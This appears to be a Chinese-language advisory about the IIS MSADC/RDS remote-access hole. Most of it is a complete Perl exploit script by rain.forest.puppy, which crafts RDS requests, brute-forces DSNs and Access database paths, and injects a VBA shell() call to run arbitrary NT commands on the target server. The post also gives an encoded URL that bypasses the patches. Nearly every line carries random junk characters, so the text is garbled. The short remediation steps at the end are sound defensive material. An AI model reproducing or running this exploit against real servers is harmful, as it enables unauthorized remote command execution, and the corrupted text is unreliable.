IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
O1~7#nJ*4[ IoL P*D 涉及程序：
*f 7rLM* Microsoft NT server
5Xr})% L 6/ 5c| 描述：
nl}L T/N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|yz[mP*;o FaCW +9B 详细：
0 7Yak<+~ 如果你没有时间读详细内容的话，就删除:
w)|9iL8 c:\Program Files\Common Files\System\Msadc\msadcs.dll
pfZ[YC- 有关的安全问题就没有了。
FdE ?uw hrnE5=iY 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&Y^4>y% PESvx>: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Je|:\Qk 关于利用ODBC远程漏洞的描述，请参看:
?GH/W#{o) x%s1)\^A http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .tKBmq0xo" Xps
\+l% i 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
YZ<z lU http://www.microsoft.com/security/bulletins/MS99-025faq.asp qeFaY74S mn03KF=n] 这里不再论述。
7HVENj_b+M 8?8V; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
<lR:^M[v5<
{J)%6eL? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2OpA1 $n6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
sSfP. R L~ f~XgQ Dl. UbH
}= #将下面这段保存为txt文件，然后: "perl -x 文件名"
a& 0g0n6 pq
r_{ #!perl
c BqbbZyUk #
d BB?A~ # MSADC/RDS 'usage' (aka exploit) script
EC5 = 2w< #
$gnrd~v4e # by rain.forest.puppy
~]?s A{ #
8H-yT1
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>yKz8SV# # beta test and find errors!
QGI@ 5 ,9d]-CuP; use Socket; use Getopt::Std;
C_>XtcU getopts("e:vd:h:XR", \%args);
oh:9v+ %\,9S`0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
_BA; H+M LI@BB:)[ if (!defined $args{h} && !defined $args{R}) {
[uGsF0#e print qq~
hFm^Fy[R Usage: msadc.pl -h <host> { -d <delay> -X -v }
~C^:SND7 -h <host> = host you want to scan (ip or domain)
#<==7X# -d <seconds> = delay between calls, default 1 second
WPsfl8@D -X = dump Index Server path table, if available
Bk3\NPa -v = verbose
Pb;c :HeI/ -e = external dictionary file for step 5
7'e sJ)2 E,tdn#_| Or a -R will resume a command session
OnE%D|Tq= q++\< \2 ~; exit;}
n_; s2,2r 5PZ!ZO& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
0sU* 3 r? if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<$s sU{5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
sM MtU@<x if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
x5MS#c!7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
czIAx1 R9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[m{sl(Q %m dtVQ@ if (!defined $args{R}){ $ret = &has_msadc;
J;Z2<x/ H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
O<Q8%Az &kzysv-_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
66F ?exr . "cmd /c ";
5b/ ~]v $in=<STDIN>; chomp $in;
-t S\ $command="cmd /c " . $in ;
:,JjN& B VeMV4 if (defined $args{R}) {&load; exit;}
`dcz9 * }R 16WY_' print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;6``t+]q
&try_btcustmr;
Z6${nUX Ur]$@N print "\nStep 2: Trying to make our own DSN...";
#0T/^ # &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
FHU6o910 L~t<
0\r print "\nStep 3: Trying known DSNs...";
hZHM5J~ &known_dsn;
-_Z 4)"k %gO/mj3* print "\nStep 4: Trying known .mdbs...";
5\z<xpJ &known_mdb;
8>[g/%W YX-~?Pl if (defined $args{e}){
+={K -g7U print "\nStep 5: Trying dictionary of DSN names...";
CR'%=N04^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HdxP:s.T R)k\ print "Sorry Charley...maybe next time?\n";
131(0nl)=I exit;
xrvM}Il 1Zn8CmE V ##############################################################################
R`c[ ?U DNq(\@x[! sub sendraw { # ripped and modded from whisker
s*la`(x sleep($delay); # it's a DoS on the server! At least on mine...
l[:Aq&[o3 my ($pstr)=@_;
>-N(o2j3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
M{5AQzvs die("Socket problems\n");
~x8nC%qPvq if(connect(S,pack "SnA4x8",2,80,$target)){
i:aW
.QZ. select(S); $|=1;
tjFX(;^[ print $pstr; my @in=<S>;
lh 'S_p8g select(STDOUT); close(S);
SC~k4&xy return @in;
YS^!'IyG/B } else { die("Can't connect...\n"); }}
)pHlWi|h JXJ+lZmsz ##############################################################################
w1"+H Jd \wA:58 -j sub make_header { # make the HTTP request
*p
$0(bz my $msadc=<<EOT
x ']'ODs POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
&;-zy%#l User-Agent: ACTIVEDATA
?yS1|CF%&y Host: $ip
Zw9;g+9 Content-Length: $clen
=|P
&G~] Connection: Keep-Alive
[o#% Eg; i $E [@ ADCClientVersion:01.06
T3P 9 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
KCTX2eNN&h V#dga5*] --!ADM!ROX!YOUR!WORLD!
'?9zL* Content-Type: application/x-varg
h[]9F.[ Content-Length: $reqlen
6"Fn$ :l? t>cGfA EOT
:Mu*E5 ; $msadc=~s/\n/\r\n/g;
QnVr)4 " return $msadc;}
).5 X NV4g5)D&L ##############################################################################
tsc `u> >l &]Ho sub make_req { # make the RDS request
Y'| ,vG my ($switch, $p1, $p2)=@_;
y+ze`pL? my $req=""; my $t1, $t2, $query, $dsn;
[oTe8^@[ !G;u
)7'v if ($switch==1){ # this is the btcustmr.mdb query
{o24A: M $query="Select * from Customers where City=" . make_shell();
{zAI-?#*u $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
qazA,|L! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+\Vm t[v RHC ZP elsif ($switch==2){ # this is general make table query
mF*x&^ie $query="create table AZZ (B int, C varchar(10))";
~+dps i $dsn="$p1";}
?+d`_/IB U0_^6zd_ elsif ($switch==3){ # this is general exploit table query
06pvI} $query="select * from AZZ where C=" . make_shell();
_Ub
`\ytx $dsn="$p1";}
!e|\1v'0 !B3TLe h elsif ($switch==4){ # attempt to hork file info from index server
R (~wSL*R> $query="select path from scope()";
H\S)a FY[ $dsn="Provider=MSIDXS;";}
lDYgt UKG [7 v|bd elsif ($switch==5){ # bad query
5^ Qa8yA>7 $query="select";
!y _{mE?V( $dsn="$p1";}
_HUbE / C[^V\?3ly: $t1= make_unicode($query);
/IpCo $t2= make_unicode($dsn);
;>?h/tS6 $req = "\x02\x00\x03\x00";
Ki;SONSV~| $req.= "\x08\x00" . pack ("S1", length($t1));
-x//@8" $req.= "\x00\x00" . $t1 ;
/WTE z\k $req.= "\x08\x00" . pack ("S1", length($t2));
ss)x
fG $req.= "\x00\x00" . $t2 ;
f4f2xe7\Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
S!b18|o" return $req;}
s/D)X=P 1 q?(]
Y* ##############################################################################
/d3Jd .l! MoIh =rw sub make_shell { # this makes the shell() statement
:skR6J return "'|shell(\"$command\")|'";}
aas.-N T .Fn|Okn^gr ##############################################################################
=j,WQ6 6r3 )Z /"P\qo sub make_unicode { # quick little function to convert to unicode
"bo0O7InOV my ($in)=@_; my $out;
P"w\hF for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+"?+Be return $out;}
o
<q* 3L5 7PY$=L48A ##############################################################################
2zTi/&K& <sH}X$/ sub rdo_success { # checks for RDO return success (this is kludge)
!$Nj! my (@in) = @_; my $base=content_start(@in);
#V!a<w4_ if($in[$base]=~/multipart\/mixed/){
KrE 'M return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ntW@Fm:bw> return 0;}
9|+6@6VY! mOE *[S) ##############################################################################
3"y 6|e/5 !
xCo{U= sub make_dsn { # this makes a DSN for us
UD.b b my @drives=("c","d","e","f");
r `O
Yq print "\nMaking DSN: ";
75^6?#GS foreach $drive (@drives) {
?%s>a8w print "$drive: ";
x} ] 56f my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
BN_h3|) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|9I)YD . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[oLV,O|s|j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^ po@U" return 0 if $2 eq "404"; # not found/doesn't exist
gF)9a_R%p if($2 eq "200") {
THYw_]K foreach $line (@results) {
6CY&pbR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%=aKW[uq] } return 0;}
XIW0Z C {D +mr[ % ##############################################################################
oh9
;_~ jm^.E\_ sub verify_exists {
|YJ83nSO~ my ($page)=@_;
]O@$}B];) my @results=sendraw("GET $page HTTP/1.0\n\n");
qLN\% }69/ return $results[0];}
A]z*#+Sl 7>E.0 D P ##############################################################################
K;?D^n. P-@MLIC{ sub try_btcustmr {
!/zRw-q3B my @drives=("c","d","e","f");
cl4 E6\?z my @dirs=("winnt","winnt35","winnt351","win","windows");
<)VgGjZ-H !U^{`V jp[ foreach $dir (@dirs) {
+hxG!o?O print "$dir -> "; # fun status so you can see progress
S#/%#k103 foreach $drive (@drives) {
NX @FUct; print "$drive: "; # ditto
)[Y B & $reqlen=length( make_req(1,$drive,$dir) ) - 28;
F-yY(b]$ $reqlenlen=length( "$reqlen" );
3nxG>D7 $clen= 206 + $reqlenlen + $reqlen;
v4P"|vZ$& zCx4DN` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
f9D e!"*& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
l:85 _E else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
(j:
ptQ2$ V>{< pS ##############################################################################
t[^$F, )Z}AhX sub odbc_error {
%By Pwu:f my (@in)=@_; my $base;
~4~`bT 9 my $base = content_start(@in);
n>M`wF> if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.w2 ID $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.Mt3e c< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tq3Wga!5 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OZ[ YB return $in[$base+4].$in[$base+5].$in[$base+6];}
~=mM/@HD print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
P K 4UdT print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
K)@}Ok"#\4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
tp^'W7E w$ { ##############################################################################
@#tSx ) :@%xo F5 sub verbose {
`7_LJ
\>I my ($in)=@_;
lp U tNy return if !$verbose;
xH[yIfHkG@ print STDOUT "\n$in\n";}
j2Y(Q/i #+PbcL ##############################################################################
Vgn1I(Gj 4 FO = 1P7 sub save {
sK?-@ my ($p1, $p2, $p3, $p4)=@_;
U9 *2< c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<;e#"(7 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Rk[ * p close OUT;}
|=T<WU1$ Zwns|23n ##############################################################################
]:fCyIE b1]_e'jj sub load {
0QqzS my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+yH~G9u( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
c.Z4f 7 @p=<IN>; close(IN);
[B @j@& $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1<`7MN $target= inet_aton($ip) || die("inet_aton problems");
4"x;XVNM[ print "Resuming to $ip ...";
S5KYZ
W $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
oD@jtd>b % if($p[1]==1) {
c| ( ? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gdE `UZ\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
; S ` -9}6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(x0*(*A} if (rdo_success(@results)){print "Success!\n";}
lkg*AAR?' else { print "failed\n"; verbose(odbc_error(@results));}}
Z[S+L"0 elsif ($p[1]==3){
hyfnIb@~} if(run_query("$p[3]")){
PZRn6Tc print "Success!\n";} else { print "failed\n"; }}
.{ a2z*o elsif ($p[1]==4){
bK8F | if(run_query($drvst . "$p[3]")){
r Ob "S* print "Success!\n"; } else { print "failed\n"; }}
:yjK*"T|OD exit;}
ZCFf@2&z8 eSNSnh]' ##############################################################################
xcvr D '#PqI) P sub create_table {
&Z!K]OSY my ($in)=@_;
m<"fRT!Y $reqlen=length( make_req(2,$in,"") ) - 28;
PFy;qk $reqlenlen=length( "$reqlen" );
65#:2,s $clen= 206 + $reqlenlen + $reqlen;
?VP !1O =J my @results=sendraw(make_header() . make_req(2,$in,""));
/
&D$kxz return 1 if rdo_success(@results);
\R\@t] >Y my $temp= odbc_error(@results); verbose($temp);
L 2.`1Aag return 1 if $temp=~/Table 'AZZ' already exists/;
.`>l.gmi& return 0;}
q,+kPhHEgy t`YZ)>Ws ##############################################################################
aC~n :0 v * 8.@aX3 sub known_dsn {
]_: TrH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
kefv=n*]l my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
I#E(r> KW* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2, "q_d'V "banner", "banners", "ads", "ADCDemo", "ADCTest");
/dJ)TW(Ir #t2UPLO~ foreach $dSn (@dsns) {
]Zz G!7 print ".";
q6JW@GT next if (!is_access("DSN=$dSn"));
Xu94v{u3 if(create_table("DSN=$dSn")){
DwY<qNWT print "$dSn successful\n";
X0Z- 1bs if(run_query("DSN=$dSn")){
-F+P;S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,' r L'Ys print "Something's borked. Use verbose next time\n";}}} print "\n";}
\y H 3Y /E{dM2 ##############################################################################
4[,B ;7 }#HTO :r sub is_access {
+}1hU
:qW my ($in)=@_;
AOlt,MNpQ $reqlen=length( make_req(5,$in,"") ) - 28;
Z\=04[ $reqlenlen=length( "$reqlen" );
j H.Ju|nO $clen= 206 + $reqlenlen + $reqlen;
jXY ;V3l my @results=sendraw(make_header() . make_req(5,$in,""));
SAG` ^t my $temp= odbc_error(@results);
K+@eH#Cv,( verbose($temp); return 1 if ($temp=~/Microsoft Access/);
]8m_* I! return 0;}
YP#AB]2\} O(D5A?tv! ##############################################################################
mk%"G =w B(\r+" PB sub run_query {
H8-D'q> R my ($in)=@_;
*M&VqG4P9w $reqlen=length( make_req(3,$in,"") ) - 28;
3_\{[_ W $reqlenlen=length( "$reqlen" );
2 @3.xG $clen= 206 + $reqlenlen + $reqlen;
$TA 6S+ my @results=sendraw(make_header() . make_req(3,$in,""));
gJ3OK !/ return 1 if rdo_success(@results);
jxnQG A my $temp= odbc_error(@results); verbose($temp);
En,)} yI return 0;}
^\[LrPq e 12tJrS*Z ##############################################################################
?
%+VG Uc&6=5~Ys\ sub known_mdb {
UGmuX:@y76 my @drives=("c","d","e","f","g");
+-aU +7tu my @dirs=("winnt","winnt35","winnt351","win","windows");
\7t5U7v8U my $dir, $drive, $mdb;
`?]rr0.}hp my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
yD[zzEuQ !
nCjA\$ # this is sparse, because I don't know of many
7O+Ij9+{n my @sysmdbs=( "\\catroot\\icatalog.mdb",
v dH+>l "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
jKj =#O "\\system32\\certmdb.mdb",
sArje(5Eo "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
t8A kdSU0 b@ wBR9 s my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
C,{F0-D "\\cfusion\\cfapps\\forums\\forums_.mdb",
x A& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
pG!(6V-x<E "\\cfusion\\cfapps\\security\\realm_.mdb",
nrTv=*tDj "\\cfusion\\cfapps\\security\\data\\realm.mdb",
9P7xoXJ@y "\\cfusion\\database\\cfexamples.mdb",
"B9[cDM& "\\cfusion\\database\\cfsnippets.mdb",
&N"'7bK6n "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
jB%"AvIX "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$AA~]'O>6: "\\cfusion\\brighttiger\\database\\cleam.mdb",
my\o P(e\ "\\cfusion\\database\\smpolicy.mdb",
:T7? "\\cfusion\\database\cypress.mdb",
H ~[LJ5x "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
`! nJS| "\\website\\cgi-win\\dbsample.mdb",
9U|<q "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
m%oGzx+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2#AeN6\@ ); #these are just
7`b lGzP_ foreach $drive (@drives) {
S9HBr foreach $dir (@dirs){
-}Cc"qm foreach $mdb (@sysmdbs) {
Mhe |eD#) print ".";
(!ZQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
I(OAEIz print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
v} F4R $ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
a{]g+tGH print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6_R\l@a } else { print "Something's borked. Use verbose next time\n"; }}}}}
NqJ<!q)
]{IR&{EI- foreach $drive (@drives) {
x?, ~TC4 foreach $mdb (@mdbs) {
Jo{ zy print ".";
y)3~]h\a if(create_table($drv . $drive . $dir . $mdb)){
4? m/*VV print "\n" . $drive . $dir . $mdb . " successful\n";
"_K}r I6(t if(run_query($drv . $drive . $dir . $mdb)){
m<FF$pTT print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
87^ :<\pp } else { print "Something's borked. Use verbose next time\n"; }}}}
\npz .g^c_ }
SkiJ pMN 7fTx Gm ##############################################################################
'8 )Wd"[ 9?uqQ sub hork_idx {
:O9P(X* print "\nAttempting to dump Index Server tables...\n";
\f(Y:}9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C( -[ Y! $reqlen=length( make_req(4,"","") ) - 28;
aGPqh,<QD $reqlenlen=length( "$reqlen" );
9t{|_G $clen= 206 + $reqlenlen + $reqlen;
} FPM-M3y my @results=sendraw2(make_header() . make_req(4,"",""));
{UB%(E[Mr if (rdo_success(@results)){
B/jrYT$;m my $max=@results; my $c; my %d;
Ln
~4mN^ for($c=19; $c<$max; $c++){
<1aa~duT $results[$c]=~s/\x00//g;
uuu\f*< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Bu7A{DRf $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%6AYCN?Ih $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
UhsO\ 9}qH $d{"$1$2"}="";}
h ZoC _\ foreach $c (keys %d){ print "$c\n"; }
g-."sniP$g } else {print "Index server doesn't seem to be installed.\n"; }}
p1Q/g Il MWM
+hk1fs ##############################################################################
|]^l^e 6m d,)}+G sub dsn_dict {
[ZuVUOm open(IN, "<$args{e}") || die("Can't open external dictionary\n");
AK6=Ydu while(<IN>){
XjX 2[*l $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+x(YG(5\w next if (!is_access("DSN=$dSn"));
aS RjFL^ if(create_table("DSN=$dSn")){
y:Z$LmPc< print "$dSn successful\n";
z{%oJ_ if(run_query("DSN=$dSn")){
y k?SD1hj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
j7f5|^/x3 print "Something's borked. Use verbose next time\n";}}}
Ll,I-BQ 9 print "\n"; close(IN);}
7g-Dfg.w 4Mk8Cpz ##############################################################################
Y |mW. 1{^CfamF sub sendraw2 { # ripped and modded from whisker
[!W5}=^H sleep($delay); # it's a DoS on the server! At least on mine...
g{e/X~ my ($pstr)=@_;
21U&Ww socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>yX/+p_ die("Socket problems\n");
;:P7}v fz! if(connect(S,pack "SnA4x8",2,80,$target)){
>GgE,h print "Connected. Getting data";
bn $)f6% open(OUT,">raw.out"); my @in;
,ohmc \*J select(S); $|=1; print $pstr;
9 +}cE**=d while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^Sw2xT$p{j close(OUT); select(STDOUT); close(S); return @in;
Q*gnAi&.# } else { die("Can't connect...\n"); }}
WhH!U0 N8VVGPa ##############################################################################
h{I`7X gt'*B5F( sub content_start { # this will take in the server headers
47 KNT7C my (@in)=@_; my $c;
J2m"1gq, for ($c=1;$c<500;$c++) {
<P - $RX if($in[$c] =~/^\x0d\x0a/){
Q |%-9^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Uls+n@\! else { return $c+1; }}}
DE%fF,Hk3 return -1;} # it should never get here actually
VrVDm*AGQ @a0Q0M ##############################################################################
l_6e I z?)He)d sub funky {
/N>} 4Ay my (@in)=@_; my $error=odbc_error(@in);
{#N%Bq} if($error=~/ADO could not find the specified provider/){
E30Ln_^o print "\nServer returned an ADO miscofiguration message\nAborting.\n";
)T9~8p. exit;}
P/G>/MD/l if($error=~/A Handler is required/){
GLCAiSMz[ print "\nServer has custom handler filters (they most likely are patched)\n";
rkq#7 exit;}
Y~}5axSPH if($error=~/specified Handler has denied Access/){
ZNi
+Aw$u print "\nServer has custom handler filters (they most likely are patched)\n";
teAukE=} exit;}}
SyAo,
)j E4=q h1d ##############################################################################
n&$/Q$d& ]w!0u2K<Q\ sub has_msadc {
wqP2Gw7jh6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
> VP5vkv= my $base=content_start(@results);
b:1 L@8s; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/[%w*v*' return 0;}
ypl G18 D*QYKW=) ########################
KU] ok ' P s3~{zH` `Ug t vo 解决方案：
$Zxt&a 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/D'M 2 4 2、移除web 目录: /msadc
